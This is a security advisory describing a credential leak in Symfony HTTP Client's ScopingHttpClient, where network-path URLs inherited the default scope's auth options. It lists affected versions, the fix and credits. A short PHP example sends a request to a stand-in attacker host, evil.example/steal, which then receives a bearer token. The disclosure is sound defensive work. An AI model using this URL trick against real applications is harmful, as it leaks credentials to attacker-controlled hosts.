Affected versions
Symfony HTTP Client versions <5.4.56, >=6, <6.4.50, >=7, <7.4.23, >=8, <8.1.11 are affected by this security issue.
The issue has been fixed in Symfony HTTP Client 5.4.56, 6.4.50, 7.4.23, 8.1.11.
Description
ScopingHttpClient applies the options of a scope, such as auth_bearer, auth_basic, headers or local_cert, to the URLs that match that scope only. A relative URL is resolved against the base_uri of the default scope, and the options of that scope were merged before the URL was resolved. A network-path reference such as //evil.example/steal carries its own host: it resolves to a URL outside of the base URI's origin, which no scope matches, yet it kept the merged options, so the request was sent to that host with the credentials of the default scope. The absolute spelling of the same URL, https://evil.example/steal, gets none of them.
1 2 3 4 5
$client = ScopingHttpClient::forBaseUri(HttpClient::create(), 'https://api.example.com/', [
'auth_bearer' => 'secret',
]);
$client->request('GET', '//evil.example/steal'); // sent to evil.example with "Authorization: Bearer secret"
This is how HttpClient::createForBaseUri() builds its client, and how the scoped clients configured with a base_uri under framework.http_client.scoped_clients are built. An application is exposed when an attacker controls the beginning of a URL passed to such a client, for example a path taken from user input or a URL taken from a remote API response. The same happened for another port or a user-info part on the same host, and when the resolved URL matched another scope, the credentials of the default scope were sent instead of that scope's own.
Resolution
After resolving a relative URL against the base URI of the default scope, ScopingHttpClient now compares the scheme and authority of the result with those of the base URI, parsed the way the request is sent. When they differ, the options of the default scope are dropped and the URL is matched against the scopes as if it had been passed in its absolute form. Relative URLs that stay on the scheme and authority of the base URI keep the options, including those that resolve outside of its path.
The user-info part counts as part of the authority: //user@api.example.com/ does not receive the options of the default scope anymore.
The patches for this issue are available here for branch 5.4 (and forward-ported to 6.4, 7.4, 8.1 and 8.2).
Credits
We would like to thank Thomas Chauchefoin from Trail of Bits for reporting the issue and Nicolas Grekas for providing the fix.